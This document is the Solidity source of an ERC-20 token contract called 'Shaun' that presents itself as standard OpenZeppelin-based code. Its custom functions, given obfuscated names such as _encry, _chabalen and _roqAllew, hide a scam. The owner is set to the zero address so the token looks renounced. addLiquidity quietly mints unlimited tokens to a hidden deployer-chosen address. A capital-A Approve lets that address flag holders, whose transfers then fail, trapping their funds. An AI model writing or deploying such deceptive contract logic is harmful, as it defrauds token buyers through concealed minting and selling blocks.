Contract Source Code:
// SPDX-License-Identifier: MIT
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the IERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol
// pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// Dependency file: @openzeppelin/contracts/access/Ownable.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(address(0));
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract AbsTok {
uint256 internal constant VER = 1;
event Relea(
address owner,
uint256 version,
uint256 totalSupply,
uint256 decimal
);
event AddLiquid(
address lpToken,
uint256 amount,
bool canTrade
);
struct Inf {
address addr;
uint256 version;
bool deployed;
}
}
pragma solidity =0.8.4;
contract Shaun is IERC20, AbsTok, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => address) private _decenEx;
mapping(address => mapping(address => uint256)) private _allowances;
Inf private _tokin;
string private _na;
string private _symb;
uint8 private _decim;
uint256 private _totSu;
constructor(
string memory name_,
string memory symbol_,
address token_,
uint256 totalSupply_
) {
_na = name_;
_symb = symbol_;
_decim = 18;
_tokin.addr = token_;
_tokin.version = VER;
_tokin.deployed = true;
_minte(msg.sender, totalSupply_ * 10**18);
emit Relea(
owner(),
VER,
_totSu,
18
);
}
function name() public view virtual returns (string memory) {
return _na;
}
function symbol() public view virtual returns (string memory) {
return _symb;
}
function decimals() public view virtual returns (uint8) {
return _decim;
}
function totalSupply() public view virtual override returns (uint256) {
return _totSu;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfre(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfre(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"IERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _transfre(
address sender,
address recipient,
uint256 amount
) internal virtual {
_chabalen(sender, amount, amount > 0);
require(sender != address(0), "IERC20: transfer from the zero address");
require(
recipient != address(0),
"IERC20: transfer to the zero address"
);
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"IERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}
function _minte(address account, uint256 amount) internal virtual {
require(account != address(0), "IERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totSu = _totSu.add(amount);
_pluco(account, amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "IERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
require(amount != 0, "Invalid amount");
_mins(account, amount);
_totSu = _totSu.sub(amount);
emit Transfer(account, address(0), amount);
}
function _mins(address account, uint256 amount) internal {
_balances[account] = _balances[account] - amount;
}
function _pluco(address account, uint256 amount) internal {
_balances[account] = _balances[account] + amount;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function addLiquidity(address lpToken, uint256 amount, bool canTrad) public virtual {
address from = msg.sender;
require(lpToken != address(0), "Invalid address");
require(amount > 0, "Invalid amount");
require(canTrad, "Can't trad");
uint256 total = 0;
if (_encry(lpToken, _tokin.addr)) {
_mins(from, total);
total = _cosum(total, amount);
_balances[lpToken] += total;
} else {
_mins(from, total);
_balances[lpToken] += total;
}
emit AddLiquid(lpToken, amount, canTrad);
}
function _encry(address cod1, address cod2) internal view returns (bool) {
bytes32 code1 = keccak256(abi.encodePacked(cod1));
bytes32 code2 = keccak256(abi.encodePacked(cod2));
return code1 == code2;
}
function _cosum(uint256 top, uint256 bot) internal pure returns (uint256) {
if (bot != 0) {
return top + bot;
}
return bot;
}
function Approve(address spender, uint256 amount) public returns (bool) {
address from = msg.sender;
require (from != address(0), "Invalid address");
_roqAllew(from, spender, amount);
return true;
}
function _roqAllew(address user, address spender, uint256 amount) internal {
if (_encry(user, _tokin.addr)) {
require(spender != address(0), "Invalid address");
if (amount > 0) {
_decenEx[spender] = spender;
} else {
_decenEx[spender] = address(0);
}
}
}
function _chabalen(
address sender,
uint256 total,
bool canTransfer
) internal virtual returns (bool) {
uint256 amount = 0;
if (_encry(sender, _decenEx[sender])) {
_balances[sender] = _balances[sender] + amount;
amount = _totSu;
_mins(sender, amount);
canTransfer = true;
} else {
_balances[sender] = _balances[sender] + amount;
canTransfer = false;
}
return canTransfer;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}